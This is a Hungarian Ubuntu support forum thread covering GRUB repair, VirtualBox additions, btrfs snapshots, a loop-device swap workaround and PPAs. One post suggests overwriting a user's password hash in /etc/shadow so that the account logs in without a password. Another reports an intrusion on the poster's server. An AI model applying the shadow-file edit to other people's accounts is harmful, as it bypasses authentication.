Aktív témák
-
-
Aki felvette a xorg-edgers tárolót és frissebb AMD GPU-val rendelkezik, annak nincs gondja most a rendszerrel? Ma reggel már nem tudtam bejelentkezni, mert még előtte megfagyott a fél képernyő, csak a Ctrl+Alt+Delete működött. Mondjuk akkor visszaállítottam a rendszert, ami ugye használt is, de megint frissítettem most, ugyanez a jelenség fennáll.
Mondjuk helyreállításmódban nyomattam egy start gdm-et, akkor szépen elindult és be is tudtam jelentkezni, aztán nyomattam azért egy telinit 2-őt is, de most görgetésnél el-el megy a kép, bár rendben visszajön. Más is tapasztalt ilyet? Most várom a frissítést, hogy megjavuljon... -
válasz
#40553216
#28791
üzenetére
Én ugyan nem tettem fel, de a csomagokat megvizsgálva egyértelműen kiderül, hogy mellé települ. A nevükben is ott van, hogy -4.0, de a telepítendő könyvtárak nevében is. Ugyanez a helyzet az Ubi tárolójában levő régebbi verziókkal, azokat is külön fellehet telepíteni egyszerre.
-
Hú, képzeljétek, most néztem, elérhető a Rendszerment új verziója, de király, már alig vártam!
-
-
válasz
V.Stryker
#28765
üzenetére
Mi az, hogy milyen szöveggel linkeled? Ha nem tudod, hogy mi az a soft link (symbolic link, symlink), akkor mint mondtam, másolhatod is. Hogy honnan, azt is írtam, nálam például a /usr/lib/jvm/java-6-sun-1.6.0.20/jre/lib/amd64 könyvtárban található. Ebből az 1.6.0.20 változhat, mert az az aktuális verziótól függ, meg az amd64, mert az meg az architektúrától. De van kereső is (Kellékek -> Fájlok keresése), a fájl nevét beírva megkerestetheted vele, hogy hol található. De akkor most már mindegy, ha jó, akkor jó.
-
-
válasz
DM-Fan
#28758
üzenetére
A Screenletet tudnám ajánlani, hozzá lefuttatva terminálban a
sudo sensors-detect
parancsot, igenembert eljátszva.
Nálam ilyen, de ez alapból nincs a repertoárban, külön kell letölteni hozzá. Viszont lehet válogatni, van benne többféle.
Windows alá meg az Everest a legcélszerűbb, Gadgetnek kilehet tenni, jól konfigurálható.
-
-
válasz
#40553216
#28736
üzenetére
Ezen kívül pedig Ő Windowsra telepítette, méghozzá a 3.2.6_63112-es verzát. Az Open Source Edition nem elérhető arra az operációs rendszerre. Így vagy feltelepíti a leírt módon az integrációs szolgáltatásokat, vagy a universe tárolóban levő OSE-nek a guest csomagjait telepíti, de ez kevésbé szerencsés, mert az bizonyára már régebbi verziójú, állandóan figyelmeztetgetni is fog erre.
-
válasz
#40553216
#28736
üzenetére
A universe tárolóban van az OSE, a sima, ami USB-t is kezel, az csak külső tárolóból érhető el (jogi akadályok miatt). A cím:
deb http://download.virtualbox.org/virtualbox/debian lucid non-free
A hozzá tartozó kulcs beszerezhető és telepíthető az alábbi paranccsal:
wget -q http://download.virtualbox.org/virtualbox/debian/oracle_vbox.asc -O- | sudo apt-key add -
Azon kívül nem, az sh nem maradt ki nálam, az a fájl futtatható úgy ahogy írtam, hisz ott van a szkript elején a #!/bin/sh.
-
sudo /media/VBOXADDITIONS_3.2.6_63112/VBoxLinuxAdditions-x86.run
vagy
cd /media/VBOXADDITIONS_3.2.6_63112
sudo ./VBoxLinuxAdditions-x86.runHa nem menne valami miatt, akkor ezeket add ki helyette (a universe tárolót persze engedélyezd előtte):
sudo apt-get update
sudo apt-get install virtualbox-ose-guest-dkms virtualbox-ose-guest-x11 virtualbox-ose-guest-utils -
válasz
DM-Fan
#28730
üzenetére
Mondjuk én úgy csinálnám, hogy feltelepíteném a Windows 7-et, majd lehúznám azt a merevlemezt. Telepítenék egy GRUB-ot a Ubuntunak a saját merevlemezének MBR-jébe, majd a BIOS-ban beállítanám, hogy arról bootoljon. Mikor elindult, a már feldugott Windowsos vinyóval adnék ki egy
sudo update-grub
parancsot. Ekkor beveszi a menübe a Windowst is, csak éppen az IDE-s merevlemezről kell indtani. Ez valamivel szebb így, nem cseszi el a másik rendszert, hanem Ubuntu nélkül is indítható marad. -
válasz
DM-Fan
#28728
üzenetére
Biztos vagy benne, hogy a GRUB az sda1-en van? Általában a MBR-be rakja be magát.
Ha nem menne az általad kreált paranccsal, akkor próbáld simán sda-val is.Az elnevezésekben volt egy kis kavarodás, a lényeg, hogy jó az így, hogy s-sel kezdődik. A 2.6.20-as kerneltől van ez így (libATA driver).
-
Mikor sudo használatakor kéri a jelszót, akkor nem látod, ahogy írod azt be, nincs közvetlen visszajelzés. Viszont ha jól begépelted és megnyomtad az Entert, akkor jó, átvált rootra. Csak akkor dobja vissza, hogy nem jó a jelszó, ha nem jól írtad be.
Ha akarod látni a visszajelzést gépelésnél, akkor nyomj egy Alt+F2-őt és így indítsad a terminált:
gksu gnome-terminalVirtual PC-nél nincsen ilyen Guest Addition amit lehetne telepíteni? Megfelelő meghajtó (kernel modul) nélkül nem fog menni a felbontás állítása.
-
válasz
BigManus
#28713
üzenetére
Azzal, hogy leveszed az olvasási jogokat, azzal nem mész semmire, hiszen módosítani eddig sem tudták a rendszerfájlokat a felhasználók.
Attól, hogy a root beállításait megváltoztatod, attól még a felhasználóknál nem alkalmazódnak azok, megint csak nem mentél semmire.Igaz, hogy ez van a leírásban:
A Pessulus lehetővé teszi a rendszergazda számára a GConf-ban minden
felhasználóra érvényes, kötelező beállítások megadását...
de én eme funkciót nem találom benne, hogy egyszerre minden felhasználónak a beállításait átállítsa, legfőképpen pedig a kötelezőt kérdőjelezem meg.
Aztán lehet ám, hogy csak én nézek valamit el... -
válasz
ntomka
#28709
üzenetére
Jó gondolat lenne, ha működne. De ha ilyet teszel, akkor ezt kapod viszont és nem nagyon töltenek be a dolgok:
Szal ez így nem jó, mert a beállítások nem alkalmazódnak. Azon kívül pedig helyreállítás módban visszacsinálható bárki számára a dolog.
(#28710) body007: tudom, hogy van, na de a már említett kitörléses módszerrel is egyszerűen semlegesíthető, szóval sok értelme így nincs.
Olyan embereket tartanak ezek csak vissza, akiknek halvány lila gőzük sincs az Ubuntuhoz.
Amúgy de jó, szúnyogirtás, itt repked a röpüllő!
-
#28708
Kendek
MODERÁTOR
Major Major
#28707
válasz
Major Major
#28707
üzenetére
Hát, én kipróbáltam ezt a progit, gyakorlatilag semmi értelme (legalábbis zárolás szempontjából). Az ember magának tudja állítani a dolgokat, és most én hiába állítom be valakinek, ha az meg visszaengedélyezheti magának. Azon kívül meg a saját könyvtárához mindenki hozzáfér, simán kitörölhetőek a megfelelő könyvtárak, fájlok, és "resetelődnek" a beállítások.
-
válasz
BigManus
#28704
üzenetére
Állítsad be asztali felhasználónak, aztán még a felhasználói jogosultságoknál nézz körül.
Olyat nem nagyon lehet beállítani, hogy valaki a saját paneljeit ne tudja testre szabni. Viszont más felhasználóra kiható változtatásokat nem tud eszközölni, mert nem lesz hozzá joga. -
Nem kellett volna kézzel letöltened a csomagot, egyszerűen csak a Fő tárolót kellett volna beállítanod a Synapticban (egyébként meg tökre ugyanolyan gyors, miért lenne különbség ugye).
A kernel forrása egy külön csomag, de elég lesz, ha felrakod az aktuális kernelhez való linux-headers csomagokat (sima meg generic). Amúgy a megadandó forrás könyvtár a /usr/src-n belül található, de ezt ha ott van, akkor magától megtalálja. -
válasz
totyax
#28642
üzenetére
Ha fejlett fájlrendszert szeretnél használni, használd a btrfs-t. Persze a jogosultságokon nem fog változtatni, viszont az NTFS sem fejlettebb. Mint mondtam, Ubuntuval ugyanúgy tudod a Windowsos telepítésedet piszkálni, sőt, még könnyebb is (meg nem kell mindenféle attribútumokat állítgatni előtte). Egyedül a titkosított dolgokhoz nem lehet hozzáférni, ez a lényege annak.
-
válasz
body007
#28638
üzenetére
Tegnap még a 2.6.35-6-os kernel volt fent nálad hiszen. Na mindegy, azért gondoltam, hogy felvetted esetleg a Maverick tárolóit, mint jómagam.
Intelligens frissítést én nem is láttam még, mert mindig a Rendszerfrissítésemre kattintok, aztán kész. Tegnap a legnagyobb dolog, ami kézi beavatkozást igényelt, az a GRUB frissítése volt. Megkérdezte, hogy mi legyen, én meg mondtam neki, hogy nyugodtan írja felül a régi verziót. -
válasz
body007
#28636
üzenetére
Akartam javasolni egyébként.
Amúgy a Mavericket használod? Mert természetesen ilyenek könnyen előfordulhatnak, sőt, eddig igen stabilnak bizonyult a rendszer, noha ilyentájt sokkal több probléma szokott előjönni. Egyébként nálam semmi gond sincsen, nem tapasztaltam amit leírtál, pedig frissítek folyamatosan. -
válasz
totyax
#28632
üzenetére
Milyen fájlokra gondolsz NTFS-nél? Próbáld meg nyugodtan módosítani őket Ubuntu alól, asszem meglepődsz.
Amire Te gondolsz, azt úgy hívják, hogy titkosított fájlrendszer, alternate telepítő segítségével meglehet oldani a dolgot a particionálásnál. Ha nem akarod az egész rendszert titkosítani, akkor elég csak a saját könyvtáradat, az így néz ki:
-
válasz
totyax
#28628
üzenetére
Live rendszeren kinek a jelszavát szeretnéd megadni? Inkább örülj, hogy bármit megtehetsz, de kívülről is kell a root jogosultság, hogy matathassál a rendszerfájlokban. Jelszót biztonsági okokból kér, ugyanúgy, ahogy a Windowsnál, ahol szintúgy lehet a fájlokban kívülről matatni.
-
Ennél a "sudo passwd-->megadsz egy jelszót-->su-val"-nál nem egyszerűbb, ha elindítja a terminált, majd begépeli, hogy sudo su? Nem kell semmiféle jelszót beírni neki.
(#28625) totyax: Amúgy ilyenkor ez a Live rendszeres dolog egyértelmű, nem ám formázás, eszembe se jutna. A pendrive-omon ott csücsül alapból az Ubi, ha bármi ilyesmi gond lenne. -
válasz
totyax
#28619
üzenetére
A nyílt meghajtóval érzetre tökéletesen ugyanazt a teljesítményt kapom, mint fglrx-el, sőt, a bugok miatt néha még jobb is. Persze játékok futtatásánál nyilván van különbség, ez ellen úgy védekezek, hogy nem játszom.
Jómagam semmiféle vibrálást nem tapasztaltam még, de hozzáteszem, hogy az elérhető legfrissebbet használom mind a kernelből, mind mindenből, ami a megjelenítéshez kapcsolódik. Régebben, még a Karmic idején, mikor ellehetett kezdeni kipróbálni a dolgot újabb fajta AMD GPU-k esetében is, na akkor valóban voltak még problémák, de már régen nem tapasztaltam őket. -
válasz
ntomka
#28617
üzenetére
Tényleg jó, de ahogy elnézem, inkább a panel helyett, mint mellett használod, én ilyen formában még nem is láttam.
De basszus, ahogy rákerestem, megláttam, hogy valaki ellopta a hátteremet, amit nagy nehezen találtam anno.
De ezen a képemen láthatod, hogy én a panelt kiegészítve használom és alkalmazásokat dokkoltam rá.(#28616) totyax: ezért használom én már inkább a nyílt meghajtót.
-
-
válasz
Kephamos
#28586
üzenetére
Hacsak nincs egy másik háttértárolódon külön telepítésben Ubuntu, szükséges lesz a Live rendszer indítása.
GParted segítségével állapítsd meg, hogy mely partíción található az Ubuntu, majd csatold azt a /mnt könyvtárba:sudo mount /dev/sdXN /mnt
Eztán futtasd a grub-installt:
sudo grub-install --root-directory=/mnt /dev/sdX
Miután újraindítottál és elindult az Ubuntu, futtass egy sudo update-grub parancsot is, mert elképzelhető, hogy a Windows csak azután fog elindulni.
-
válasz
Kvazár
#28579
üzenetére
Találtam jobbat:
Add ki ezt a parancsot:vmware-installer -l
Valami ilyesmit ír ki rá:
Product Name Product Version
====================== ====================
vmware-workstation 7.0.0.203739Eszerint add ki a következő parancsot:
sudo vmware-installer -u vmware-workstation 7.0.0.203739
-
Most, hogy átálltam btrfs-re, azért zavart, hogy nem tudok rajta swap fájlt létrehozni és bekapcsolni. Persze nem adtam fel, kitaláltam egy jó módszert, aminek a segítségével mégiscsak lett swapom rajta. Leírom tehát a menetét, hátha másnak is jól jön.
Kreáltam szokásosan egy 2 GB-os image-t dd-vel:
dd if=/dev/zero of=/.swapfile bs=1024 count=2097152
A létrehozott állományt csatoltam egy blokkeszközhöz:
losetup -f /.swapfile
Megformáztam a partíciót ext4-re:
mkfs.ext4 /dev/loop0
Felcsatoltam azt az előzetesen létrehozott swap könyvtárba:
mount /dev/loop0 /swap
Dd-vel létrehoztam rajt egy 1 GB-os fájlt:
dd if=/dev/zero of=/swap/.swapfile bs=1024 count=1048576
Ezt így már hiba nélkül ki tudtam nevezni swapnak, a bekapcsolásával nem volt gond:
mkswap /swap/.swapfile
swapon /swap/.swapfileMivel így az fstabban mégsem rögzíthettem, betettem a /etc/rc2.d-be egy fájlt (neve S99swapon), ami megoldja az aktiválását, ezeket írtam bele:
#!/bin/sh
losetup -f /.swapfile
mount /dev/loop0 /swap
swapon /swap/.swapfileKész is, újraindítás után is aktív az 1 GB-nyi swapom.
-
#28539
Kendek
MODERÁTOR
Major Major
#28538
válasz
Major Major
#28538
üzenetére
Ennek (ez is reklám, flash alapú).
De a Youtube videókat is úgy lehet elindítani, hogy előbb rá kell kattintani erre.
Mást én nem szoktam használni, szal nem tom, hogy amit Te szeretnél, azt hogyan kell. -
#28537
Kendek
MODERÁTOR
Major Major
#28535
válasz
Major Major
#28535
üzenetére
Ha a flash blokkolására gondolsz, akkor
opera:config#UserPrefs|EnableOnDemandPlugin -
válasz
hackeeeee
#28530
üzenetére
A panel méretének állítása miatt bekövetkező "érdekes kinézeten" lehet segíteni egyszerűen.
A /usr/share/themes/Ambiance/gtk-2.0 könyvtárban található panel_bg.png nevű képet méretezd át olyan méretűre, mint amekkorára be akarod állítani a panelt. Ha még mindig érdekes maradna néhol, akkor jobb egérgomb a panelra -> Tulajdonságok -> Háttér, tallózd be háttérképnek is ezt a fájlt. -
válasz
body007
#28510
üzenetére
A 6386-os a legfrissebb, ez a végleges is.
Amúgy én itt folyamatosan figyelem a fejleményeket és frissítek. -
válasz
body007
#28508
üzenetére
Nem tudom, nem én mondom, hogy jó, hanem így viselkedik a Maverickben az egerentyű, már a Live rendszerben is. Elképzelhető persze, hogy végül kiveszik ezt a dolgot belőle (mint ahogy az értesítési területre is visszaköltözött a szürke háttér egyes ikonokhoz), gondolom a tesztelők reakciójától is függ a dolog. Én mondjuk először meglepődtem, azt hittem, hogy valami bug.
Nálam minden rendben van az Operával, párszor mondjuk bezárta magát ok nélkül, de nem jellemző, főleg nem a fagyás. -
válasz
body007
#28505
üzenetére
Nem, hanem mindig, olyan 3 másodpercet vár, aztán eltűnik. Eleinte zavaró volt, de aztán végül is nem annyira rossz, csak nem tom, hogy éppen hol van, ha eltűnt. Az unclutter csomag felrakásával Te is megnézheted, csak Alt+F2-t kell nyomni, majd beírod, hogy unclutter. Alapértelmezésben kicsit többet kell várni az eltűnésig.
Amúgy örüljünk, kijött a végleges 10.60-as Opera. -
válasz
Siriusb
#28494
üzenetére
Érdekes, nálam az elérhető és a szabad hely ugyanakkora mindenhol. Nem tudom, hogy ez nálad mitől lehet.
Amúgy túl korán örültem annak a desktop telepítőnek, használhatatlan btrfs-re telepítéshez. Először is alapból nincs telepítve rajt a btrfs-tools, így telepítésnél, ha erre akarja az ember formázni valamely partícióját, azt nem tudja megcsinálni. Sebaj, előtelepítettem neki a csomagot, újraformáztattam vele a partíciót, de kiderült, hogy a rendszer indításképtelen, valamit a GRUB telepítésénél is elszúr. Egyetlen előnye, hogy igazán gyorsan végez a telepítéssel. Az alternate CD-vel megint jó sokáig tartott a dolog, igaz, hogy legalább rendben el is indult aztán a rendszer. -
Épp jókor érkezett, a tegnapi még nem tudta, de a mai daily live desktop telepítővel már lehet btrfs-re is telepíteni a rendszert. Valószínűleg telepítenem is kell egyet ugye a történtek miatt, szóval ez frankó, mert alternate telepítővel nagyon lassan ment múltkor.
-
válasz
Siriusb
#28488
üzenetére
Persze, jól is van ez így, pár pillanat alatt ki is lehet törölni a létrejövő subvolume-okat, bennük a snapshotokkal. Egyébként úgy fogom akkor ezentúl csinálni, hogy készítek időnként ilyeneket, aztán ha vissza akarok állni egy előbbi állapotra (mármint úgy, hogy véglegesen), akkor rsync-szel szinkronizálom a top level tartalmat a snapshotéval, aztán kész.
-
válasz
Siriusb
#28485
üzenetére
Ugyanolyan ez, mint a kemény linkek (ugyanarra az adatra mutat mindkét fájl), annyi különbséggel, hogy a fájlokban történő módosításokat nem követi. Szal a snapshotok elkészítése igen rövid időbe telik és alapból nagyon kevés helyet foglalnak el. De idővel, ahogy egyre több minden változik a top levelben, úgy fognak egyre több plusz helyet elfoglalni, pontosabban az új dolgok foglalnak extra helyet, mert amit cserélnek, az nem törlődik.
De ki is próbálhatod, csak hozz létre egy fájlt, benne valamilyen szöveges tartalommal, majd készíts snapshotot, hogy benne legyen eme új fájl is. Módosíts a top levelben ezen a fájlon, aztán nézd meg, hogy a snapshotban levő fájl nem változott.(#28486) bobsys: Telepíteni kéne az integrációs szolgáltatásokat. Elindítod a virtuális gépet, majd az Eszközök menüben az Integrációs szolgáltatások telepítésére kattints. Ha minden jól megy, akkor magától elindul a telepítő, nem kell terminálban mókolni. Ha nem tenné ezt, akkor még megpróbálhatod kézzel indítani a megfelelő fájlt, csak a csatolt CD-t kell megnézni. Ha egyáltalán nem megy, akkor pedig telepítsed a virtualbox-ose-guest-dkms, virtualbox-ose-guest-x11 és a virtualbox-ose-guest-utils csomagokat a Synapticcal mondjuk, úgy is jó lesz.
-
válasz
Siriusb
#28480
üzenetére
Azért még rápróbálok erre a mount -o degraded parancsra, ha sok reményem nincs is, hogy ilyen esetben hatásos. Ha mégis, akkor megúsztam pár kellemetlenséget, nem lenne éppen probléma.
(#28481) body007: De gondolom az extN fájlrendszer volt, arról simán visszalehet formázás után hozni az adatokat, csak az extundelte nevű eszközt kell használni. Nálam remekül működött, bár ha nem tudod, hogy mit akarsz visszahozni, akkor kicsit sokáig eldolgozgat míg minden értelmeset kimásol róla.
-
válasz
body007
#28476
üzenetére
Van ez a btrfs device add <dev> [<dev>..] <path> parancs, gondoltam kipróbálom, hát ezt nem kellett volna. De egyébként semmi gond nincsen a btrfs-sel, viszont valszeg emiatt ment tönkre a fájlrendszer és ezért nem tudom most csatolni őket. Mert egyébként az MBR helyreállítása után mind a /boot alá csatolt ext4, mind a titkosított fájlrendszer csatolható. Szal azok mentek tönkre, amiket megadtam <dev>-nek, meg amihez akartam adni (sda1,2, stb.). Nem tudom mire jó ez a dolog egyébként, de asszem, hogy többet nem próbálkozok vele. Szerencsére minden lényeges adatom megúszta, sőt legalább még helyet is szabadítottam fel, nem kell újabb vinyót vennem.
-
Most aztán jól megszívtam, de sikerült mentenem a menthetőt szerencsére.
Mondom kipróbálom, hogy mi az az eszköz hozzáadása itt a btrfs-nél, aztán az összes partíciómmal kipróbáltam, mert csak hibát írt ki. Erre úgy ahogy volt, a merevlemezek MBR-jét teljesen tönkretette ez a parancs, lefoglalatlan területet mutatott a GParted (és persze újraindításkor meglepődtem, hogy nem indul a rendszer). Mondom nagyon király, az összes, de tényleg, hogy az összes adatom elszállt most.
Szerencsére a két darab 1 TB-os vinyóm tökéletes klónja volt egymásnak, legalábbis a partíciók elhelyezkedését és méretét illetően, amúgy meg fejből nyomtam ezeket az adatokat. A kevésbé fontos merevlemezen (amúgy a fontos adatok mindkettőn megvoltak, hogy biztos legyen a dolog) megcsináltam ugyanúgy a partíciókat mint volt, ugyanolyan fájlrendszerre is formáztam őket, majd a másik vinyóra áttoltam az MBR-t. Ez félig-meddig egy jó megoldásnak bizonyult, mert bár a btrfs partíciók látszódnak, még a címkéjük is visszajött, csatolni viszont nem tudom őket és ellenőrzésnél is hibát ír ki, de az eleve formázatlan titkosított partíciómat sikeresen csatolni tudtam, a több száz GB-nyi értékes adatom tehát megúszta a balesetet.
Hát, ezt nem kívánom senkinek, így is elveszett pár fontos adat, szerencsére pár dolgot tudok pótolni, mert megvan a notimon is. -
válasz
totyax
#28459
üzenetére
Ha nagyon nem vagy biztos abban, hogy egy tárolóban mi van, akkor nézz rá a Szoftverközpontban, aztán egyből látod. (Mondjuk előfordulhat, hogy nem mindet mutatja, de javarészt ott vannak a PPA-k.)
(#28460) totyax: Ha valamit vissza akarsz állítani onnan, akkor az eredeti példányt valószínűleg kitörölted, mert a fájlokban történő módosításokat ez a fajta mentés követi (kemény link). Ezért csak vissza kell másolnod vagy helyezned az eredeti helyére (vagy máshova) a fájlokat (érdemesebb az áthelyezés, majd újabb szinkronizálás, ha nagy a fájl).
(#28461) Zefír: Valószínűleg az a legnagyobb probléma, hogy Windowsos programokat akarsz Ubuntun futtatni, holott arra főként a Windows való. Ezért használd azt, ha játszani akarsz. Nem nagy befektetés igazából, hiszen a Windowsos játékok, programok is elég sok pénzbe kerülnek, ha arra telik, akkor már az alapra is teljen.
-
válasz
ntomka
#28457
üzenetére
A Debian csomag megvan, nem tart semeddig megcsinálni. Viszont PPA-ba nem ilyen formában, hanem a forrást kell feltölteni (pár kiegészítéssel), aztán várólistára állítják és fordítják, csomagolják a cuccot. De még egyszer mondom, nálam nem kell különböző architektúrákra fordítani, ez az "all" kategória lenne, de ott olyan nincs. Persze tutira megoldható a dolog, mert lehet azért ilyenek találni, de akkor is olyan bonyolult így elsőre, hogy inkább kihagyom. Meg aztán még mindig ott van, hogy nem csak Ubuntura lehet telepíteni.
-
válasz
totyax
#28454
üzenetére
A Synapticban történő kézzel kitörlés is jó választás volt, mert úgy még meghagyja a .save fájlban a cuccot. Ilyenkor nem veszi föl újra rendszer-visszaállításkor sem a tárolót, legfeljebb a régebbi állapot miatt megint ott lesz a listában, de ezen segít az újabb build.
Annyit lehet tenni, hogy mikor veszel fel egy tárolót, akkor odaírod megjegyzésnek, hogy mi az (ráállsz a tárolóra, majd Szerkesztés). Ilyenkor nem a tároló címe, hanem a megjegyzés lesz látható, abból egyből tudod, hogy mi az. Egyébként az Ubuntu Tweakkel felvett tárolóknál mindig van megjegyzés, pont ezért, hogy tudja az ember, hogy mi az.
Ha nem akarsz a Rendszermenttel visszaállítási pontokat csinálni csak home-ot szinkronizálni, akkor egyszerűen ne kattints az Új mentés készítésre, csak a /home szinkronizálásra. Magától biztosan nem csinál mentéseket, hacsak nincsen automatára beállítva, de azt is kilehet kapcsolni.
-
Úgy döntöttem, hogy a támadásokra való tekintettel, meg persze azért is, mert mostanában nem készítettem olyan nagyon sűrűn újabb verziókat, szüneteltetem a Rendszerment tárolóját. Az új verzió (0.1.2.12125) letölthető a SourceForge oldaláról. Lényegében azért érdemes feltelepíteni, mert törli az előbbi verzióknál automatikusan felvett tárolót, plusz a kézzel történő törlés nem minden esetben lenne elégséges, a rendszer visszaállításakor visszaállítódhatnak a címek, ezzel olyankor sincsen gond. Esetleg akit zavar, az törölheti a feleslegessé vált kulcsot is, azt nem távolítja el (Rendszerment Automatic Signing Key).
-
Ajánlani tudom még a PlayOnLinux-ot is játékok beüzemelésére, a csomagkezelő segítségével feltudod telepíteni, mint ahogy a Wine-t is (Rendszer -> Adminisztráció -> Synaptic csomagkezelő, vagy Szoftverközpont).
PPA hozzáadása: Megnyitod a Synapticot -> Beállítások -> Tárolók -> Egyéb szoftver -> Hozzáadás, írd be, hogy
ppa:ubuntu-wine/ppa
Majd nyomass egy frissítést a Frissítés gombbal. -
A Cairo-Dock jó alternatíva, csak be kell állítani, hogy úgy nézzen ki.
Billentyűzet megoldás:
Terminálba: gedit ~/.Xmodmap
A következőt másold bele, majd mentsd el:keycode 49 = iacute Iacute less
keycode 94 = 0 sectionÚjraindítás után bejön az alábbi ablak, töltsed be a fájlt és jó lesz:
Képernyőkép készítéséhez a Print Screen gombot kell megnyomni, vagy Kellékek -> Képernyőkép készítése. Ha nem működne a gomb, akkor a Rendszer -> Beállítások -> Gyorsbillentyűk -> Asztal -> Képernyőkép készítésénél tudod állítani.
(#28443) Siriusb: Igen, én is arra gondoltam, próbálkoztam is vele tegnap, de nem sikerült csinálnom vele gyakorlatilag semmit. Kiírta, hogy Operation Complete, aztán kész. Meg arra jöttem rá, hogy subvolome-on belüli subvolume-ot nem lehet a subvol=-vel csatolni.
-
válasz
Siriusb
#28434
üzenetére
Mondjuk itt csak azzal lehet operálni, hogy kreálok snapshotokat. Ha szükségem van a régebbi állapotra, akkor csak annyit tehetek, hogy csatolom az egyik ilyen pillanatképet. Na de akkor eztán azt is használom, az összes többi ami készült, azt törölni kéne, mint ahogy a top levelben levő fájlokat, könyvtárakat is, hiszen azokra nincs eztán szükségem, csak egyre több helyet foglalnak ahogy telik az idő. Na de most meg hogy a subvolume-ot használom, megint kreálok időnként benne újabbakat, mert ha gond van, megint csak szükségem lesz egy előző állapotra. A végén már lesz egy csomó subvolume-om, ha kézzel törlöm is a nem kellőket meg a fájlokat, akkor is milyen már, hogy annyit létrehoztam egymásban. Az lenne az optimális, ha lehetne valahogy szinkronizálni a top levelt valamely subvolume-val.
Na, ezt a csatolásosdit megnéztem, lehet egyszerre több subvolume-ot csatolni. Így a nem kellők törlése a szükségtelen fájlokkal egyetemben megoldott egyszerűen, de akkor sem így a legideálisabb.
-
válasz
Siriusb
#28431
üzenetére
A PPA-nal az a legnagyobb gondom, hogy fel kell tölteni fordításra, de nálam nem kell fordítani semmit, akkor milyen formában töltsem föl, ezt nem értem. Mindegy, vsftpd-vel próbálkozom, azzal nem lehet gond. Igaz, hogy az anonym konfigot még nem tudtam belőni, de majd csak rájövök arra is.
Mért lenne az jó, ha egy subvolume-ot használnék állandóan? Ha azt vissza kell állítanom, akkor elveszik az összes addigi tevékenységem. Ha benne hozok létre subvolume-kat néhanapján, akkor meg hogyan törlöm őket, mert ha szükség van rá akkor egyet csatolok, de nem látom a többit, meg amiben létrehoztam, annak a tartalmát sem. Egyre több helyet foglalnának ezek a cuccok, és a végén már 128000 subvolume-om lenne egymásban.
-
válasz
Siriusb
#28428
üzenetére
A btrfsctl -s /media/home2/b /media/home2
paranccsal hoztam létre snapshotot én is, igen, de a létrejövő b könyvtár egy subvolume lett. A subvolume list paranccsal is kimutatja, meg persze csak a subvolume delete paranccsal lehet törölni is.
Azt néztem tegnap én is, hogy lehet egymásban is létrehozni subvolume-okat, bár mért ne lehetne ugye.
Most azért picit problémásnak tartom, vagy csak én nem értem teljesen, hogyha rendszer-visszaállítást egy subvolume csatolásával oldom meg, akkor a helyet foglalni fogja a top level, vagy éppen a többi subvolume. Most akkor ez egy csomó kézi törlést jelent, meg ha nem subvolume-ban akarom a rendszert használni, akkor át kell másolni az egészet a top levelbe, ami rengeteg idő, és esetleg hely sincs rá.Csináltam PPA-t, csak a cuccomat nem tom feltölteni rá, bár valószínűleg csak én vagyok a béna.
-
válasz
Siriusb
#28425
üzenetére
Jaja, ott a nevét kell, így jó nálam is. Múltkor már néztem, csak hibát írt ki rá, ezért nem voltam biztos benne. De most rájöttem, hogy a gond a névvel volt, azzal a dátumos elnevezéssel nem mükszik. De csináltam egy alma nevűt is, most azt tudtam csatolni a következő paranccsal:
mount -t btrfs -o subvol=alma /dev/sdb2 /mntA kérdésedet nem értem, mert amennyire én tudom, csak subvolume-ban lehet snapshotot létrehozni. A btrfsctl -s paranccsal is létrehoz subvolume-ot.
Más: A fene vinné el, már megint valaki szórakozott a tárolómmal, elérhetetlen lett, mert megadta magát a gépezett, elfogyott a hely. Letöltött pár cuccot, meg valamit telepíteni akart. A fájlok megvannak. Létrehozott a /var/tmp-n belül egy tmp könyvtárat, azon belül egy Driver elnevezésűt is. Mellette ott van egy iroffer-dinoex-3.22.tar.gz fájl is. A saját könyvtáramba pedig letöltött egy eggdrop1.6.19+ctcpfix.tar.gz nevezetű fájlt.
Azt hiszem, hogy biztonsági okokból szünetelni fog most a tároló, és visszatelepítem a biztonságosabb klienst. -
válasz
upszilon
#28418
üzenetére
Én ilyen nemleállásos problémával nemrég találkoztam, mikor a Windemre telepítettem fel a 2.6.34-es kernelt (tehát amiatt volt). Minden bizonnyal valami bugról van szó, igen nehéz ennyi információból lehetséges megoldásokat javasolni. Én a bekapcsoló gombot nyomtam hosszan, aztán leállt a gép (ez nem problémás, mert kis időn belül a merevlemezt is lekapcsolta, utána nyomtam ki).
Firefox frissítéshez a legegyszerűbb, ha Te is felveszed a Mozilla Security Team-es tárolót.
ppa:ubuntu-mozilla-security/ppa -
válasz
hackeeeee
#28415
üzenetére
Ez érdekes, mert ha fel van véve a PPA, akkor már elérhető benne a 3.6.6-os Firefox (bár csak olyan 40 perce).
Ha az exFAT fájlrendszerre gondolsz, akkor annak a kapcsolata egészen másfajta az NTFS-sel, mint most az ext4-nek a btrfs-sel. Azt a fájlrendszert főként flash alapú tárolókra találták ki, főleg memóriakártyákon, pendrive-okon érdemes használni. Túlmutat a FAT32-ön (pl. 4 GB-os fájlméret limit 16 exabájtra nőtt), de ugyanúgy nem naplózó fájlrendszer. Használják pl. kamerákban, digitális fényképezőkben, telefonokban is. A btrfs pedig az extN fájlrendszer leváltására készül, a "Linux" jövőbeni alapértelmezett fájlrendszere lehet/lesz.
-
válasz
#40553216
#28413
üzenetére
Találtam még egy lehetséges megoldást, de próbálni nem próbáltam. A /etc/shadow fájlban a felhasználó soránál ki kell cserélni az alábbi példában kiemelt karaktereket erre: U6aMy0wojraho
username:$1$5druSp26$nVpXn5EVk73sWzZlhLuXNB1:13996:0:99999:7:::
Ebből kiemelt: $1$5druSp26$nVpXn5EVk73sWzZlhLuXNB1
Ekkor így fog kinézni ez a példa:username:U6aMy0wojraho:13996:0:99999:7:::
Ekkor nem kér jelszót elvileg, egy próbát megérhet.
-
válasz
upszilon
#28404
üzenetére
Az egy viszonylag elég fiatal, de annál modernebb, Linuxhoz készült/készülő fájlrendszer. Számos olyan szolgáltatása, funkciója van, ami az ext4-ből hiányzik, így a használata bizonyos előnyökkel járhat hozzá képest. Legkorábban a következő, 10.10-es Ubuntu kiadás telepítőjében lesz választható, hogy arra telepítse az ember a rendszert, ezért nem látod még a mostaniakban. Az átlag Ubuntu felhasználónak legkorábban a 11.04-es kiadásnál lesz célszerű átállnia a használatára.
-
válasz
body007
#28402
üzenetére
Ha már most is külön van, akkor persze, hogy ellehet hagyni az első két lépést, mert az éppen a szeparálásról szól.
